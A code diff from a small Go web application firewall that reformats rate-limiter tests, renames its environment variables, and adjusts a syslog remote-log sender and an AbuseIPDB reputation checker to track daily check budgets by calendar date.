@@ -311,13 +375,21 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1, Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
} }
if !over || hit != want { if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit, t.Errorf(
want) "one over the limit broke it: %t, with %+v; want %+v",
over,
hit,
want,
)
} }
// Half a minute into the next, half of those four still count, 2, and // Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold. // this one: 3, within the limit.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit) hit, over = limiter.CountRefusal(
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if over || hit.Count != 3 { if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false", t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over) hit.Count, over)
@@ -326,7 +398,11 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
// A ban sets them back to zero. // A ban sets them back to zero.
limiter.Reset(client) limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit) hit, _ = limiter.CountRefusal(
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if hit.Count != 1 { if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count) t.Errorf("after a reset, %v refusals, want 1", hit.Count)
} }
@@ -347,7 +423,11 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
// hour still covers three quarters of the bucket before, with its three // hour still covers three quarters of the bucket before, with its three
// requests, which count 2.25, and this one: 3.25. The day covers all // requests, which count 2.25, and this one: 3.25. The day covers all
// four. // four.
counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole) counts, _, _ := limiter.Count(
client,
start.Add(time.Hour+time.Hour/4),
whole,
)
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4} want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
if counts != want { if counts != want {
@@ -358,7 +438,10 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
func TestResetSetsTheCountsBackToZero(t *testing.T) { func TestResetSetsTheCountsBackToZero(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize) limiter := ratelimit.New(
ratelimit.Limits{PerMinute: limit, PerDay: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32") client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight() start := midnight()
@@ -399,8 +482,10 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
func TestRefusedRequestsCount(t *testing.T) { func TestRefusedRequestsCount(t *testing.T) {
t.Parallel() t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}, limiter := ratelimit.New(
tableSize) ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
tableSize,
)
refused := netip.MustParsePrefix("203.0.113.9/32") refused := netip.MustParsePrefix("203.0.113.9/32")
within := netip.MustParsePrefix("203.0.113.10/32") within := netip.MustParsePrefix("203.0.113.10/32")
start := midnight() start := midnight()
@@ -501,7 +586,11 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
wantCount(t, limiter, clients[maxClients], now, "") wantCount(t, limiter, clients[maxClients], now, "")
if limiter.Len() != maxClients { if limiter.Len() != maxClients {
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients) t.Errorf(
"the table holds %d clients, want %d",
limiter.Len(),
maxClients,
)
} }
wantCount(t, limiter, clients[1], now, "") wantCount(t, limiter, clients[1], now, "")
@@ -516,7 +605,10 @@ func midnight() time.Time {
// wantCount counts a request from client at now, and checks the window // wantCount counts a request from client at now, and checks the window
// whose limit it goes over, "" for none. // whose limit it goes over, "" for none.
func wantCount( func wantCount(
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time, t *testing.T,
limiter *ratelimit.Limiter,
client netip.Prefix,
now time.Time,
want string, want string,
) { ) {
t.Helper() t.Helper()
@@ -531,8 +623,12 @@ func wantCount(
// wantBytesCount counts bytes from client at now, and checks the kind of // wantBytesCount counts bytes from client at now, and checks the kind of
// the limit they break, "" for none. // the limit they break, "" for none.
func wantBytesCount( func wantBytesCount(
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time, t *testing.T,
bytes int64, want string, limiter *ratelimit.Limiter,
client netip.Prefix,
now time.Time,
bytes int64,
want string,
) { ) {
t.Helper() t.Helper()
+27 -8
View File
@@ -12,7 +12,12 @@ import (
func TestSnapshotListsTheClientsByAddress(t *testing.T) { func TestSnapshotListsTheClientsByAddress(t *testing.T) {
t.Parallel() t.Parallel()
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"} want := []string{
"192.0.2.1/32",
"203.0.113.9/32",
"203.0.113.10/32",
"2001:db8::/64",
}
limiter := ratelimit.New(ratelimit.Limits{}, tableSize) limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
for _, i := range []int{2, 3, 0, 1} { for _, i := range []int{2, 3, 0, 1} {
@@ -32,8 +37,12 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
counted := ratelimit.Buckets{Start: midnight(), Current: 1} counted := ratelimit.Buckets{Start: midnight(), Current: 1}
if snapshot[0].Minute != counted || snapshot[0].Day != counted { if snapshot[0].Minute != counted || snapshot[0].Day != counted {
t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day, t.Errorf(
counted) "buckets %+v and %+v, want %+v",
snapshot[0].Minute,
snapshot[0].Day,
counted,
)
} }
} }
@@ -86,10 +95,15 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
t.Errorf("loaded two minutes on as %+v", got) t.Errorf("loaded two minutes on as %+v", got)
} }
if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 || if got.MinuteBytes != (ratelimit.Buckets{}) ||
got.HourBytes.Current != 5 ||
got.DayBytes.Current != 5 { got.DayBytes.Current != 5 {
t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v", t.Errorf(
got.MinuteBytes, got.HourBytes, got.DayBytes) "loaded two minutes on with buckets of bytes %+v, %+v and %+v",
got.MinuteBytes,
got.HourBytes,
got.DayBytes,
)
} }
if got.MinuteRefusals != (ratelimit.Buckets{}) { if got.MinuteRefusals != (ratelimit.Buckets{}) {
@@ -101,8 +115,13 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got = loaded(start.Add(2*time.Minute - time.Nanosecond)) got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 || if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 { got.MinuteRefusals.Current != 1 {
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+ t.Errorf(
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals) "loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v",
got.Minute,
got.MinuteBytes,
got.MinuteRefusals,
)
} }
} }
+21 -14
View File
@@ -1,5 +1,5 @@
// Package remotelog sends the lines smallwebwaf writes on stdout to the // Package remotelog sends the lines sww writes on stdout to the
// remote log endpoint, SWWAF_LOG_REMOTE_URL, as the "Request log" section // remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
// of SPEC.md describes: each line as the message of an RFC 5424 syslog // of SPEC.md describes: each line as the message of an RFC 5424 syslog
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow // record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
// or unreachable endpoint never holds up a request or stdout. // or unreachable endpoint never holds up a request or stdout.
@@ -24,7 +24,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The forms of SWWAF_LOG_REMOTE_URL, by its scheme. // The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
const ( const (
SchemeUDP = "syslog+udp" SchemeUDP = "syslog+udp"
SchemeTCP = "syslog+tcp" SchemeTCP = "syslog+tcp"
@@ -56,18 +56,18 @@ const (
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// URL is the endpoint (SWWAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or // URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
// SchemeTLS, a host and a port. // SchemeTLS, a host and a port.
URL *url.URL URL *url.URL
// RootCAs are the certificates a SchemeTLS endpoint's certificate // RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's. // must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool RootCAs *x509.CertPool
// Buffer is the most lines held while they wait to be sent // BufferLines is the most lines held while they wait to be sent
// (SWWAF_LOG_REMOTE_BUFFER). // (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
Buffer int BufferLines int
// Facility is the number of the records' syslog facility // Facility is the number of the records' syslog facility
// (SWWAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME // (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWWAF_LOG_REMOTE_APP_NAME). // (SWW_WAF_LOG_REMOTE_APP_NAME).
Facility int Facility int
AppName string AppName string
} }
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
// id and the structured data have no value. // id and the structured data have no value.
beforeTime: "<" + strconv.Itoa(priority) + ">1 ", beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
afterTime: " " + hostname + " " + params.AppName + " - - - ", afterTime: " " + hostname + " " + params.AppName + " - - - ",
records: make(chan []byte, params.Buffer), records: make(chan []byte, params.BufferLines),
} }
} }
@@ -185,7 +185,11 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
// and over TCP and TLS after its length in bytes and a space, the // and over TCP and TLS after its length in bytes and a space, the
// octet-counted framing of RFC 6587 and RFC 5425. // octet-counted framing of RFC 6587 and RFC 5425.
func (s *Sender) record(at string, line []byte) []byte { func (s *Sender) record(at string, line []byte) []byte {
record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line)) record := make(
[]byte,
0,
len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
)
record = append(record, s.beforeTime...) record = append(record, s.beforeTime...)
record = append(record, at...) record = append(record, at...)
record = append(record, s.afterTime...) record = append(record, s.afterTime...)
@@ -219,7 +223,10 @@ func (s *Sender) put(record []byte) {
// send connects to the endpoint and sends each record as it comes into // send connects to the endpoint and sends each record as it comes into
// the buffer, until ctx is done, and returns the connection then open, or // the buffer, until ctx is done, and returns the connection then open, or
// nil. // nil.
func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn { func (s *Sender) send(
ctx context.Context,
processLog *slog.Logger,
) net.Conn {
delay := firstRetryDelay delay := firstRetryDelay
for { for {
@@ -243,7 +250,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
} }
} }
processLog.Warn("sending to SWWAF_LOG_REMOTE_URL failed", processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
"error", err.Error(), "connecting_again_in", delay.String()) "error", err.Error(), "connecting_again_in", delay.String())
select { select {
+108 -32
View File
@@ -44,7 +44,7 @@ import (
const ( const (
// started is the time a record made as a test starts gives. // started is the time a record made as a test starts gives.
started = "2000-01-01T00:00:00.000Z" started = "2000-01-01T00:00:00.000Z"
appName = "fsn1app1/gitea" appName = "fsn1app1/blog"
// local0 is the number of the default facility, and local0Info the // local0 is the number of the default facility, and local0Info the
// priority of its records. // priority of its records.
local0 = 16 local0 = 16
@@ -57,16 +57,27 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback) endpoint, err := (&net.ListenConfig{}).ListenPacket(
t.Context(),
"udp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
t.Cleanup(func() { _ = endpoint.Close() }) t.Cleanup(func() { _ = endpoint.Close() })
sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr())) sender, _, _ := run(
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n")) _, _ = sender.Write(
[]byte(
`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
),
)
synctest.Wait() synctest.Wait()
wantCounts(t, sender, 2, 0, 0) wantCounts(t, sender, 2, 0, 0)
@@ -94,7 +105,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
endpointParams := params(remotelog.SchemeTCP, endpoint.Addr()) endpointParams := params(remotelog.SchemeTCP, endpoint.Addr())
endpointParams.Facility = 19 // local3 endpointParams.Facility = 19 // local3
endpointParams.AppName = "gitea" endpointParams.AppName = "blog"
sender, _, _ := run(t, endpointParams) sender, _, _ := run(t, endpointParams)
_, _ = sender.Write([]byte("first\nsecond\n")) _, _ = sender.Write([]byte("first\nsecond\n"))
@@ -103,12 +114,14 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
wantCounts(t, sender, 2, 0, 0) wantCounts(t, sender, 2, 0, 0)
frames := bufio.NewReader(accept(t, endpoint)) frames := bufio.NewReader(accept(t, endpoint))
wantFrame(t, frames, record(t, "<158>", "gitea", "first")) wantFrame(t, frames, record(t, "<158>", "blog", "first"))
wantFrame(t, frames, record(t, "<158>", "gitea", "second")) wantFrame(t, frames, record(t, "<158>", "blog", "second"))
}) })
} }
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) { func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -116,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr()) endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
endpointParams.RootCAs = roots endpointParams.RootCAs = roots
endpointParams.Buffer = 3 endpointParams.BufferLines = 3
sender, _, _ := run(t, endpointParams) sender, _, _ := run(t, endpointParams)
// The sender connects, and its TLS handshake waits for an answer // The sender connects, and its TLS handshake waits for an answer
@@ -174,7 +187,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, 1, 0, 0) wantCounts(t, sender, 1, 0, 0)
conn := endpoint.next(t) conn := endpoint.next(t)
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one")) wantFrame(
t,
bufio.NewReader(conn),
record(t, local0Info, appName, "one"),
)
// The endpoint goes away: it closes the connection, and refuses the // The endpoint goes away: it closes the connection, and refuses the
// next ones. The sender notices when a record fails, and tries to // next ones. The sender notices when a record fails, and tries to
@@ -203,7 +220,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, sent+1, 1, 0) wantCounts(t, sender, sent+1, 1, 0)
conn = endpoint.next(t) conn = endpoint.next(t)
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two")) wantFrame(
t,
bufio.NewReader(conn),
record(t, local0Info, appName, "two"),
)
wantRetries(t, logged, "1s", "2s") wantRetries(t, logged, "1s", "2s")
}) })
} }
@@ -213,12 +234,19 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr())) sender, logged, _ := run(
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
// The endpoint closes each connection as soon as it takes it. The // The endpoint closes each connection as soon as it takes it. The
// sender notices when a record fails, and connects again a second // sender notices when a record fails, and connects again a second
// later, then two seconds after that, then four. // later, then two seconds after that, then four.
delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second} delays := []time.Duration{
time.Second,
2 * time.Second,
4 * time.Second,
}
for i, delay := range delays { for i, delay := range delays {
_ = accept(t, endpoint).Close() _ = accept(t, endpoint).Close()
@@ -230,12 +258,17 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
}) })
} }
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) { func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint := listen(t) endpoint := listen(t)
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr())) sender, logged, _ := run(
t,
params(remotelog.SchemeTCP, endpoint.Addr()),
)
_ = accept(t, endpoint).Close() _ = accept(t, endpoint).Close()
@@ -271,14 +304,21 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback) endpoint, err := (&net.ListenConfig{}).ListenPacket(
t.Context(),
"udp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
t.Cleanup(func() { _ = endpoint.Close() }) t.Cleanup(func() { _ = endpoint.Close() })
sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr())) sender, logged, _ := run(
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
// With its header, the first line's record is longer than the 65507 // With its header, the first line's record is longer than the 65507
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is // bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
@@ -363,7 +403,7 @@ func (o *output) text() string {
func params(scheme string, addr net.Addr) remotelog.Params { func params(scheme string, addr net.Addr) remotelog.Params {
return remotelog.Params{ return remotelog.Params{
URL: &url.URL{Scheme: scheme, Host: addr.String()}, URL: &url.URL{Scheme: scheme, Host: addr.String()},
Buffer: 10, BufferLines: 10,
Facility: local0, Facility: local0,
AppName: appName, AppName: appName,
} }
@@ -372,7 +412,10 @@ func params(scheme string, addr net.Addr) remotelog.Params {
// run runs a Sender with settings until the test ends or the function // run runs a Sender with settings until the test ends or the function
// it returns is called, which waits for Run to return. It returns the // it returns is called, which waits for Run to return. It returns the
// Sender, and what it logs. // Sender, and what it logs.
func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) { func run(
t *testing.T,
settings remotelog.Params,
) (*remotelog.Sender, *output, func()) {
t.Helper() t.Helper()
sender := remotelog.New(settings) sender := remotelog.New(settings)
@@ -399,7 +442,11 @@ func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, f
func listen(t *testing.T) net.Listener { func listen(t *testing.T) net.Listener {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback) listener, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
loopback,
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -438,11 +485,17 @@ type tlsEndpoint struct {
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes // startTLSEndpoint starts a tlsEndpoint with certificate, which takes
// connections until it is told to refuse them. // connections until it is told to refuse them.
func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint { func startTLSEndpoint(
t *testing.T,
certificate tls.Certificate,
) *tlsEndpoint {
t.Helper() t.Helper()
listener := listen(t) listener := listen(t)
endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)} endpoint := &tlsEndpoint{
addr: listener.Addr(),
conns: make(chan net.Conn, 10),
}
config := &tls.Config{ config := &tls.Config{
Certificates: []tls.Certificate{certificate}, Certificates: []tls.Certificate{certificate},
MinVersion: tls.VersionTLS12, MinVersion: tls.VersionTLS12,
@@ -456,7 +509,8 @@ func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
} }
server := tls.Server(conn, config) server := tls.Server(conn, config)
if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil { if endpoint.refusing.Load() ||
server.HandshakeContext(t.Context()) != nil {
_ = conn.Close() _ = conn.Close()
continue continue
@@ -528,9 +582,17 @@ func wantCounts(
) { ) {
t.Helper() t.Helper()
if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth { if sender.Sent() != sent || sender.Dropped() != dropped ||
t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d", sender.Depth() != depth {
sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth) t.Fatalf(
"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
sender.Sent(),
sender.Dropped(),
sender.Depth(),
sent,
dropped,
depth,
)
} }
} }
@@ -539,7 +601,11 @@ func wantCounts(
// connection the endpoint has closed are lost before one fails; how many // connection the endpoint has closed are lost before one fails; how many
// depends on when the endpoint's host answers that the connection is // depends on when the endpoint's host answers that the connection is
// gone. // gone.
func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) { func writeUntilDropped(
t *testing.T,
sender *remotelog.Sender,
dropped int64,
) {
t.Helper() t.Helper()
for sender.Dropped() < dropped { for sender.Dropped() < dropped {
@@ -586,7 +652,8 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
var fields map[string]any var fields map[string]any
err := json.Unmarshal([]byte(line), &fields) err := json.Unmarshal([]byte(line), &fields)
if err != nil || fields["msg"] != "sending to SWWAF_LOG_REMOTE_URL failed" { if err != nil ||
fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
t.Fatalf("logged %q", line) t.Fatalf("logged %q", line)
} }
@@ -595,7 +662,11 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
} }
if !slices.Equal(got, delays) { if !slices.Equal(got, delays) {
t.Errorf("logged failures to connect again in %v, want %v", got, delays) t.Errorf(
"logged failures to connect again in %v, want %v",
got,
delays,
)
} }
} }
@@ -612,13 +683,15 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
template := &x509.Certificate{ template := &x509.Certificate{
SerialNumber: big.NewInt(1), SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "smallwebwaf test CA"}, Subject: pkix.Name{CommonName: "sww test CA"},
NotBefore: time.Date(1999, 12, 31, 0, 0, 0, 0, time.UTC), NotBefore: time.Date(1999, 12, 31, 0, 0, 0, 0, time.UTC),
NotAfter: time.Date(2000, 1, 2, 0, 0, 0, 0, time.UTC), NotAfter: time.Date(2000, 1, 2, 0, 0, 0, 0, time.UTC),
IsCA: true, IsCA: true,
BasicConstraintsValid: true, BasicConstraintsValid: true,
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature, KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, ExtKeyUsage: []x509.ExtKeyUsage{
x509.ExtKeyUsageServerAuth,
},
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
} }
@@ -636,5 +709,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
roots := x509.NewCertPool() roots := x509.NewCertPool()
roots.AddCert(certificate) roots.AddCert(certificate)
return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots return tls.Certificate{
Certificate: [][]byte{der},
PrivateKey: key,
}, roots
} }
+71 -39
View File
@@ -14,6 +14,7 @@ import (
"sync" "sync"
"time" "time"
"cloud.google.com/go/civil"
"github.com/hashicorp/golang-lru/v2/simplelru" "github.com/hashicorp/golang-lru/v2/simplelru"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
) )
@@ -27,8 +28,6 @@ const (
AbuseIPDBSource = "abuseipdb" AbuseIPDBSource = "abuseipdb"
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read. // maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
maxAnswerBytes = 64 << 10 maxAnswerBytes = 64 << 10
// day is the length of the day the checks are counted in, in UTC.
day = 24 * time.Hour
) )
var ( var (
@@ -37,38 +36,37 @@ var (
"checks spent; none is made until the day ends at 00:00 UTC") "checks spent; none is made until the day ends at 00:00 UTC")
) )
// Score is what AbuseIPDB said about a client, as reputation.json holds // Score is what AbuseIPDB said about a client, as abuseipdb-scores.json
// it: the client, an IPv4 address or an IPv6 group, its abuse confidence // holds it: the client, an IPv4 address or an IPv6 group, its abuse
// score, from 0 to 100, and when AbuseIPDB answered. // confidence score, from 0 to 100, and when AbuseIPDB answered.
type Score struct { type Score struct {
Client netip.Prefix `json:"client"` Client netip.Prefix `json:"client"`
Score int64 `json:"score"` Score int64 `json:"score"`
Fetched time.Time `json:"fetched"` Fetched time.Time `json:"fetched"`
} }
// Checks are what reputation.json keeps of the checks of clients with // ChecksSpent is what abuseipdb-checks-spent.json keeps of the checks of
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the // clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
// first, and the scores still in use. // zero before the first.
type Checks struct { type ChecksSpent struct {
Day time.Time `json:"day,omitzero"` Day civil.Date
Spent int `json:"spent"` Spent int
Scores []Score `json:"scores"`
} }
// AbuseIPDBParams are what NewAbuseIPDB needs. // AbuseIPDBParams are what NewAbuseIPDB needs.
type AbuseIPDBParams struct { type AbuseIPDBParams struct {
// URL is where clients are checked, normally AbuseIPDBURL, with Key, // URL is where clients are checked, normally AbuseIPDBURL, with Key,
// the account's key (SWWAF_ABUSEIPDB_KEY). // the account's key (SWW_WAF_ABUSEIPDB_KEY).
URL string URL string
Key string Key string
// MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE), // MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
// and DailyBudget the most checks made in a day, in UTC // and DailyBudget the most checks made in a day, in UTC
// (SWWAF_ABUSEIPDB_DAILY_BUDGET). // (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
MinScore int64 MinScore int64
DailyBudget int DailyBudget int
// CacheTTL is how long a score is used after it was fetched // CacheTTL is how long a score is used after it was fetched
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take // (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
// (SWWAF_REPUTATION_TIMEOUT). // take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
CacheTTL time.Duration CacheTTL time.Duration
Timeout time.Duration Timeout time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
@@ -93,7 +91,7 @@ type AbuseIPDB struct {
// checking are the clients whose check is under way. // checking are the clients whose check is under way.
checking map[netip.Prefix]bool checking map[netip.Prefix]bool
// day is the day, in UTC, of the checks spent counts. // day is the day, in UTC, of the checks spent counts.
day time.Time day civil.Date
spent int spent int
// checks and failures count the checks made and those that failed, // checks and failures count the checks made and those that failed,
// and retryAt is when a client may be checked again after the last // and retryAt is when a client may be checked again after the last
@@ -143,7 +141,7 @@ func (a *AbuseIPDB) Hit(
return kept.Score, kept.Score >= a.params.MinScore return kept.Score, kept.Score >= a.params.MinScore
} }
if today := now.Truncate(day); !a.day.Equal(today) { if today := civil.DateOf(now.UTC()); a.day != today {
a.day, a.spent = today, 0 a.day, a.spent = today, 0
} }
@@ -190,42 +188,42 @@ func (a *AbuseIPDB) BudgetLeft() int {
a.mu.Lock() a.mu.Lock()
defer a.mu.Unlock() defer a.mu.Unlock()
if !a.day.Equal(a.params.Now().Truncate(day)) { if a.day != civil.DateOf(a.params.Now().UTC()) {
return a.params.DailyBudget return a.params.DailyBudget
} }
return max(a.params.DailyBudget-a.spent, 0) return max(a.params.DailyBudget-a.spent, 0)
} }
// Snapshot returns the checks spent and every score still in use, sorted // Snapshot returns every score still in use, sorted by client, as
// by client, as reputation.json keeps them. // abuseipdb-scores.json keeps them.
func (a *AbuseIPDB) Snapshot() Checks { func (a *AbuseIPDB) Snapshot() []Score {
a.mu.Lock() a.mu.Lock()
now := a.params.Now() now := a.params.Now()
checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())} scores := make([]Score, 0, a.scores.Len())
for _, kept := range a.scores.Values() { for _, kept := range a.scores.Values() {
if now.Sub(kept.Fetched) < a.params.CacheTTL { if now.Sub(kept.Fetched) < a.params.CacheTTL {
checks.Scores = append(checks.Scores, kept) scores = append(scores, kept)
} }
} }
a.mu.Unlock() a.mu.Unlock()
slices.SortFunc(checks.Scores, func(x, y Score) int { slices.SortFunc(scores, func(x, y Score) int {
return x.Client.Compare(y.Client) return x.Client.Compare(y.Client)
}) })
return checks return scores
